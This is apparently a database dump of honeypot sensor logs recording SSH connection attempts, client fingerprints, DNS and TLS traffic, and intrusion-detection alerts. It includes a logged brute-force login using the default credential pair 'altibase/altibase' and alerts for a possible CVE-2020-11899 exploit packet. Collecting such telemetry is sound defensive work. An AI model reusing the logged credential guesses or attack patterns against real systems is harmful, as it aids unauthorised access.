"2021-09-20T11:58:43.258534Z", "@timestamp": "2021-09-20T11:58:43.258Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
34126	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:58:53.119118+03	2021-09-20 15:00:06.729729+03	{"_id": "twYSA3wBvYTbRNuEwVOk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b8ebe4a0508f", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:58:53.119118Z", "@timestamp": "2021-09-20T11:58:53.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
34132	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:59:14.186176+03	2021-09-20 15:00:06.736736+03	{"_id": "4AYTA3wBvYTbRNuEE1Oz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "23ea101ba2f3", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:59:14.186176Z", "@timestamp": "2021-09-20T11:59:14.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
34127	1.116.239.130	109.199.241.180	Suricata	2021-09-20 14:58:53.373364+03	2021-09-20 15:00:06.730729+03	{"_id": "uAYSA3wBvYTbRNuEwlPK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "flow_id": 194647775037584, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38396, "dest_port": 22, "timestamp": "2021-09-20T11:58:53.373364Z", "@timestamp": "2021-09-20T11:58:53.373Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
34128	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:58:53.37348+03	2021-09-20 15:00:06.73173+03	{"_id": "ugYSA3wBvYTbRNuEw1PW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.116.239.130", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38396, "timestamp": "2021-09-20T11:58:53.373480", "@timestamp": "2021-09-20T11:58:53.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34129	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:59:01.436016+03	2021-09-20 15:00:06.733729+03	{"_id": "wwYSA3wBvYTbRNuE4lMP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:01.436016+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 86}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:ffff:040f", "flow_id": 1919618310842160, "payload": "AAAAAP6AAAAAAAAAAIZAPXL/BA8=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T11:59:01.436016Z", "@timestamp": "2021-09-20T11:59:01.436Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..............@=r..."}}	1	\N	\N	alert	\N	\N
34130	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:58:59.953721+03	2021-09-20 15:00:06.734749+03	{"_id": "wQYSA3wBvYTbRNuE3lMm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:58:59.953721Z", "@timestamp": "2021-09-20T11:58:59.953Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34131	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:59:01.455319+03	2021-09-20 15:00:06.735736+03	{"_id": "wgYSA3wBvYTbRNuE4lMP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:01.455319+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 62}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 317932664386199, "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:59:01.455319Z", "@timestamp": "2021-09-20T11:59:01.455Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34133	121.4.68.188	109.199.241.180	Fatt	2021-09-20 14:59:14.459569+03	2021-09-20 15:00:06.737735+03	{"_id": "5AYTA3wBvYTbRNuEFVPn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 52422, "dest_port": 22, "timestamp": "2021-09-20T11:59:14.459569", "@timestamp": "2021-09-20T11:59:14.459Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
34134	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:59:14.460229+03	2021-09-20 15:00:06.739735+03	{"_id": "5QYTA3wBvYTbRNuEF1Od", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "23ea101ba2f3", "@version": "1", "timestamp": "2021-09-20T11:59:14.460229Z", "@timestamp": "2021-09-20T11:59:14.460Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
34135	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:59:15.647133+03	2021-09-20 15:00:06.741735+03	{"_id": "5gYTA3wBvYTbRNuEG1OF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.login.failed", "message": "login attempt [altibase/altibase] failed", "session": "23ea101ba2f3", "@version": "1", "password": "altibase", "username": "altibase", "timestamp": "2021-09-20T11:59:15.647133Z", "@timestamp": "2021-09-20T11:59:15.647Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
34136	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:59:14.183189+03	2021-09-20 15:00:06.743735+03	{"_id": "3wYTA3wBvYTbRNuEE1Oz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 121.4.68.188:52422 (192.168.176.2:22) [session: 23ea101ba2f3]", "session": "23ea101ba2f3", "@version": "1", "protocol": "ssh", "src_port": 52422, "dest_port": 22, "timestamp": "2021-09-20T11:59:14.183189Z", "@timestamp": "2021-09-20T11:59:14.183Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
34137	121.4.68.188	109.199.241.180	Suricata	2021-09-20 14:59:14.459482+03	2021-09-20 15:00:06.744736+03	{"_id": "4QYTA3wBvYTbRNuEFFPd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "flow_id": 1201544876907165, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52422, "dest_port": 22, "timestamp": "2021-09-20T11:59:14.459482Z", "@timestamp": "2021-09-20T11:59:14.459Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
34149	192.168.20.109	109.199.241.180	Suricata	2021-09-20 14:59:01.983113+03	2021-09-20 15:00:06.759735+03	{"_id": "xgYSA3wBvYTbRNuE5VP4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.109", "stream": 0, "dest_ip": "224.0.0.2", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:59:01.983113Z", "@timestamp": "2021-09-20T11:59:01.983Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34138	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:59:14.187209+03	2021-09-20 15:00:06.745736+03	{"_id": "4wYTA3wBvYTbRNuEFVPn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "121.4.68.188", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52422, "timestamp": "2021-09-20T11:59:14.187209", "@timestamp": "2021-09-20T11:59:14.187Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34139	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:59:10.016021+03	2021-09-20 15:00:06.746735+03	{"_id": "0QYTA3wBvYTbRNuEBVM7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 23525, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2724, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 447436666320826, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 50139, "timestamp": "2021-09-20T11:59:10.016021Z", "@timestamp": "2021-09-20T11:59:10.016Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34140	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:59:10.064953+03	2021-09-20 15:00:06.748735+03	{"_id": "0gYTA3wBvYTbRNuEBlNF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35918, "dest_port": 443, "timestamp": "2021-09-20T11:59:10.064953", "@timestamp": "2021-09-20T11:59:10.064Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34141	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:59:10.014266+03	2021-09-20 15:00:06.749735+03	{"_id": "0AYTA3wBvYTbRNuEBVM7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 23525, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 447436666320826, "@version": "1", "in_iface": "enp5s0", "src_port": 50139, "dest_port": 53, "timestamp": "2021-09-20T11:59:10.014266Z", "@timestamp": "2021-09-20T11:59:10.014Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34142	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:59:10.105571+03	2021-09-20 15:00:06.750735+03	{"_id": "0wYTA3wBvYTbRNuEBlNF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35918, "timestamp": "2021-09-20T11:59:10.105571", "@timestamp": "2021-09-20T11:59:10.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
